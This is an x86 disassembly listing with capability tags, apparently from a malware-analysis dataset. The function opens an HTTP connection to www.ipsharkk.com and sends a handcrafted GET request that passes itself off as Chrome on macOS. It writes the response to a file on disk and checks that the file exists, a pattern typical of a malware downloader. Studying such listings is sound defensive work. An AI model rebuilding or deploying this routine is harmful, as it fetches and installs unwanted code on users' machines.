Function at 0x4199c0
Capabilities:
Check if file exists
Reference http user-agent string

Disassembly:
push ebp
mov ebp, esp
push 0xffffffffffffffff
push 0x524798
mov eax, dword fs:[0]
push eax
sub esp, 0x5bc
mov eax, dword [0x592bb4]
xor eax, ebp
mov dword [ebp - 0x10], eax
push eax
lea eax, [ebp - 0xc]
mov dword fs:[0], eax
mov dword [ebp - 4], 1
lea eax, [ebp + 8]
push eax
lea ecx, [ebp - 0x428]
call fcn.004078a0
mov byte [ebp - 4], 2
lea ecx, [ebp - 0x428]
call fcn.00407140
movzx ecx, al
test ecx, ecx
je 0x419a53
mov byte [ebp - 0x4a1], 0
mov byte [ebp - 4], 1
lea ecx, [ebp - 0x428]
call fcn.00407540
mov byte [ebp - 4], 0
lea ecx, [ebp + 8]
call fcn.00407540
mov dword [ebp - 4], 0xffffffff
lea ecx, [ebp + 0x20]
call fcn.00407540
mov al, byte [ebp - 0x4a1]
jmp 0x41a036
push 1
lea ecx, [ebp - 0x518]
call fcn.00417310
mov byte [ebp - 4], 3
push str.www.ipsharkk.com
lea ecx, [ebp - 0x440]
call fcn.00407770
mov byte [ebp - 4], 4
push 0x50
lea edx, [ebp - 0x440]
push edx
lea ecx, [ebp - 0x518]
call fcn.00417b80
movzx eax, al
test eax, eax
jne 0x419af8
lea ecx, [ebp - 0x518]
call fcn.00417da0
mov byte [ebp - 0x4a2], 0
mov byte [ebp - 4], 3
lea ecx, [ebp - 0x440]
call fcn.00407540
mov byte [ebp - 4], 2
lea ecx, [ebp - 0x518]
call fcn.00417410
mov byte [ebp - 4], 1
lea ecx, [ebp - 0x428]
call fcn.00407540
mov byte [ebp - 4], 0
lea ecx, [ebp + 8]
call fcn.00407540
mov dword [ebp - 4], 0xffffffff
lea ecx, [ebp + 0x20]
call fcn.00407540
mov al, byte [ebp - 0x4a2]
jmp 0x41a036
lea ecx, [ebp + 0x20]
push ecx
push str.GET__ExtensionHelperAppUpdatesWinNM_
lea edx, [ebp - 0x4a0]
push edx
call fcn.0040e0b0
add esp, 0xc
mov dword [ebp - 0x4c8], eax
mov eax, dword [ebp - 0x4c8]
mov dword [ebp - 0x4cc], eax
mov byte [ebp - 4], 5
push str._HTTP_1.1_r_nUser_Agent:_Mozilla_5.0__Macintosh__Intel_Mac_OS_X_10_12_6__AppleWebKit_537.36__KHTML__like_Gecko__Chrome_60.0.3112.90_Safari_537.36_r_nHost:
mov ecx, dword [ebp - 0x4cc]
push ecx
lea edx, [ebp - 0x488]
push edx
call fcn.0040e270
add esp, 0xc
mov dword [ebp - 0x4d0], eax
mov eax, dword [ebp - 0x4d0]
mov dword [ebp - 0x4d4], eax
mov byte [ebp - 4], 6
lea ecx, [ebp - 0x440]
push ecx
mov edx, dword [ebp - 0x4d4]
push edx
lea eax, [ebp - 0x470]
push eax
call fcn.0040e2b0
add esp, 0xc
mov dword [ebp - 0x4d8], eax
mov ecx, dword [ebp - 0x4d8]
mov dword [ebp - 0x4dc], ecx
mov byte [ebp - 4], 7
push str._r_nConnection:_Close_r_n_r_n
mov edx, dword [ebp - 0x4dc]
push edx
lea eax, [ebp - 0x458]
push eax
call fcn.0040e270
add esp, 0xc
mov byte [ebp - 4], 9
lea ecx, [ebp - 0x470]
call fcn.00407540
mov byte [ebp - 4], 0xa
lea ecx, [ebp - 0x488]
call fcn.00407540
mov byte [ebp - 4], 0xb
lea ecx, [ebp - 0x4a0]
call fcn.00407540
push 1
push 5
lea ecx, [ebp - 0x458]
call fcn.004071b0
push eax
lea ecx, [ebp - 0x458]
call fcn.00407190
push eax
lea ecx, [ebp - 0x518]
call fcn.00417d70
movzx ecx, al
test ecx, ecx
jne 0x419c74
lea ecx, [ebp - 0x518]
call fcn.00417da0
mov byte [ebp - 0x4a3], 0
mov byte [ebp - 4], 4
lea ecx, [ebp - 0x458]
call fcn.00407540
mov byte [ebp - 4], 3
lea ecx, [ebp - 0x440]
call fcn.00407540
mov byte [ebp - 4], 2
lea ecx, [ebp - 0x518]
call fcn.00417410
mov byte [ebp - 4], 1
lea ecx, [ebp - 0x428]
call fcn.00407540
mov byte [ebp - 4], 0
lea ecx, [ebp + 8]
call fcn.00407540
mov dword [ebp - 4], 0xffffffff
lea ecx, [ebp + 0x20]
call fcn.00407540
mov al, byte [ebp - 0x4a3]
jmp 0x41a036
mov dword [ebp - 0x4bc], 0
push 0
push 0
lea edx, [ebp - 0x4bc]
push edx
lea eax, [ebp - 0x518]
push eax
call fcn.00419070
add esp, 0x10
mov dword [ebp - 0x4c4], eax
mov dword [ebp - 0x4c0], edx
xorps xmm0, xmm0
movlpd qword [ebp - 0x4b8], xmm0
mov ecx, dword [ebp - 0x4c4]
or ecx, dword [ebp - 0x4c0]
je 0x419cc9
cmp dword [ebp - 0x4bc], 0xc8
je 0x419d3d
lea ecx, [ebp - 0x518]
call fcn.00417da0
mov byte [ebp - 0x4a4], 0
mov byte [ebp - 4], 4
lea ecx, [ebp - 0x458]
call fcn.00407540
mov byte [ebp - 4], 3
lea ecx, [ebp - 0x440]
call fcn.00407540
mov byte [ebp - 4], 2
lea ecx, [ebp - 0x518]
call fcn.00417410
mov byte [ebp - 4], 1
lea ecx, [ebp - 0x428]
call fcn.00407540
mov byte [ebp - 4], 0
lea ecx, [ebp + 8]
call fcn.00407540
mov dword [ebp - 4], 0xffffffff
lea ecx, [ebp + 0x20]
call fcn.00407540
mov al, byte [ebp - 0x4a4]
jmp 0x41a036
push 1
push 0x40
push 0x30
lea ecx, [ebp - 0x428]
call fcn.004071b0
push eax
lea ecx, [ebp - 0x5c8]
call fcn.00411c90
mov byte [ebp - 4], 0xc
lea ecx, [ebp - 0x5c8]
call fcn.00411c10
movzx edx, al
test edx, edx
jne 0x419df7
lea ecx, [ebp - 0x518]
call fcn.00417da0
mov byte [ebp - 0x4a5], 0
mov byte [ebp - 4], 0xb
lea ecx, [ebp - 0x5c8]
call fcn.00410e90
mov byte [ebp - 4], 4
lea ecx, [ebp - 0x458]
call fcn.00407540
mov byte [ebp - 4], 3
lea ecx, [ebp - 0x440]
call fcn.00407540
mov byte [ebp - 4], 2
lea ecx, [ebp - 0x518]
call fcn.00417410
mov byte [ebp - 4], 1
lea ecx, [ebp - 0x428]
call fcn.00407540
mov byte [ebp - 4], 0
lea ecx, [ebp + 8]
call fcn.00407540
mov dword [ebp - 4], 0xffffffff
lea ecx, [ebp + 0x20]
call fcn.00407540
mov al, byte [ebp - 0x4a5]
jmp 0x41a036
mov byte [ebp - 0x4a6], 0
mov eax, dword [ebp - 0x4b4]
cmp eax, dword [ebp - 0x4c0]
ja 0x419f24
jb 0x419e24
mov ecx, dword [ebp - 0x4b8]
cmp ecx, dword [ebp - 0x4c4]
jae 0x419f24
lea edx, [ebp - 0x4a6]
push edx
push 0xa
lea eax, [ebp - 0x410]
push eax
push 0x400
lea ecx, [ebp - 0x518]
call fcn.00417cd0
mov dword [ebp - 0x4b0], eax
cmp dword [ebp - 0x4b0], 0
jg 0x419ee5
lea ecx, [ebp - 0x5c8]
call fcn.00411be0
lea ecx, [ebp - 0x518]
call fcn.00417da0
mov byte [ebp - 0x4a7], 0
mov byte [ebp - 4], 0xb
lea ecx, [ebp - 0x5c8]
call fcn.00410e90
mov byte [ebp - 4], 4
lea ecx, [ebp - 0x458]
call fcn.00407540
mov byte [ebp - 4], 3
lea ecx, [ebp - 0x440]
call fcn.00407540
mov byte [ebp - 4], 2
lea ecx, [ebp - 0x518]
call fcn.00417410
mov byte [ebp - 4], 1
lea ecx, [ebp - 0x428]
call fcn.00407540
mov byte [ebp - 4], 0
lea ecx, [ebp + 8]
call fcn.00407540
mov dword [ebp - 4], 0xffffffff
lea ecx, [ebp + 0x20]
call fcn.00407540
mov al, byte [ebp - 0x4a7]
jmp 0x41a036
mov eax, dword [ebp - 0x4b0]
cdq
push edx
push eax
lea ecx, [ebp - 0x410]
push ecx
lea ecx, [ebp - 0x5c8]
call fcn.00412af0
mov eax, dword [ebp - 0x4b0]
cdq
add eax, dword [ebp - 0x4b8]
adc edx, dword [ebp - 0x4b4]
mov dword [ebp - 0x4b8], eax
mov dword [ebp - 0x4b4], edx
jmp 0x419dfe
lea ecx, [ebp - 0x5c8]
call fcn.00411be0
lea ecx, [ebp - 0x518]
call fcn.00417da0
lea ecx, [ebp + 8]
call fcn.004071b0
push eax
call dword [sym.imp.SHLWAPI.dll_PathFileExistsA]
cmp eax, 1
je 0x419fc3
mov byte [ebp - 0x4a8], 0
mov byte [ebp - 4], 0xb
lea ecx, [ebp - 0x5c8]
call fcn.00410e90
mov byte [ebp - 4], 4
lea ecx, [ebp - 0x458]
call fcn.00407540
mov byte [ebp - 4], 3
lea ecx, [ebp - 0x440]
call fcn.00407540
mov byte [ebp - 4], 2
lea ecx, [ebp - 0x518]
call fcn.00417410
mov byte [ebp - 4], 1
lea ecx, [ebp - 0x428]
call fcn.00407540
mov byte [ebp - 4], 0
lea ecx, [ebp + 8]
call fcn.00407540
mov dword [ebp - 4], 0xffffffff
lea ecx, [ebp + 0x20]
call fcn.00407540
mov al, byte [ebp - 0x4a8]
jmp 0x41a036
mov byte [ebp - 0x4a9], 1
mov byte [ebp - 4], 0xb
lea ecx, [ebp - 0x5c8]
call fcn.00410e90
mov byte [ebp - 4], 4
lea ecx, [ebp - 0x458]
call fcn.00407540
mov byte [ebp - 4], 3
lea ecx, [ebp - 0x440]
call fcn.00407540
mov byte [ebp - 4], 2
lea ecx, [ebp - 0x518]
call fcn.00417410
mov byte [ebp - 4], 1
lea ecx, [ebp - 0x428]
call fcn.00407540
mov byte [ebp - 4], 0
lea ecx, [ebp + 8]
call fcn.00407540
mov dword [ebp - 4], 0xffffffff
lea ecx, [ebp + 0x20]
call fcn.00407540
mov al, byte [ebp - 0x4a9]
mov ecx, dword [ebp - 0xc]
mov dword fs:[0], ecx
pop ecx
mov ecx, dword [ebp - 0x10]
xor ecx, ebp
call fcn.004e6445
mov esp, ebp
pop ebp
ret